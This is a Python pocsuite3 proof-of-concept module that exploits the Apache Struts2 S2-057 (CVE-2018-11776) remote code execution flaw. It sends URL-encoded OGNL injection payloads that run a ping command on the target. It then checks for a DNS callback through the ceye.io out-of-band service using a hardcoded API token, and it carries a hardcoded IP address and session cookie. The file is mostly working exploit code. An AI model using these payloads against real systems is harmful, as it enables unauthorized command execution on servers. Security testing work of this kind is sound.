#!/usr/bin/env python
# _*_ encoding：utf-8 _*_

from pocsuite3.api import POCBase
from pocsuite3.api import register_poc
from pocsuite3.api import Output
from collections import OrderedDict
from pocsuite3.api import OptString
from pocsuite3.api import requests
from pocsuite3.lib.utils import random_str
import json

class Struts2(POCBase):
    vulID = ''
    version = '1.0'
    author = ['big04dream']
    vulDate = '2018-08-24'
    createDate = '2020-07-01'
    updateDate = '2020-07-01'
    references = ['']
    name = 'Apache Struts2 远程代码执行漏洞 (S2-057/CVE-2018-11776)'
    appPowerLink = 'https://struts.apache.org/'
    appName = 'Struts2'
    appVersion = 'Struts 2.3 – 2.3.34, Struts 2.5 – 2.5.16'
    vulType = 'rce'
    desc = '''
    Apache Struts2 远程代码执行漏洞 (S2-057/CVE-2018-11776)
    '''

    def _options(self):
        o = OrderedDict()
        o['apath'] = OptString('', description='action path, default actionChain1.action', require=False)
        return o

    def _verify(self):
        result = {}
        try:
            cmd = random_str(16) + '.6eb4yw.ceye.io'
            cmd2 = 'ping ' + cmd
            payload = '%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27' + cmd2 + '%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/'
            payload2 = '%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27' + cmd2 + '%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/'
            action_path = self.get_option('apath') or '/actionChain1.action'
            target = self.url + payload + action_path
            target2 = self.url + payload2 + action_path
            r = requests.get(target, allow_redirects=False)
            r1 = requests.get(target2, allow_redirects=False)
            if r.status_code == 200 and r1.status_code != 200:
                res = requests.get('http://api.ceye.io/v1/records?token=2490ae17e5a04f03def427a596438995&type=dns')
                if cmd in res:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = target
                    result['VerifyInfo']['Payload'] = payload
            elif r1.status_code == 200 and r.status_code != 200:
                res = requests.get('http://api.ceye.io/v1/records?token=2490ae17e5a04f03def427a596438995&type=dns')
                if cmd in res:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = target2
                    result['VerifyInfo']['Payload'] = payload2
        except:
            pass
        return self.parse_output(result)

    @property
    def _headers(self):
        headers = {
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
            'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
            'Referer':'http://96.63.216.104:8080/actionchaining/register2.action',
            'Connection':'close',
            'Cookie':'JSESSIONID=E25862AE388D006049EA9D3CEF12F246',
            'Upgrade-Insecure-Requests':'1',
            'Cache-Control':'max-age=0'
        }
        return headers

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('not vulnerability')
        return output

register_poc(Struts2)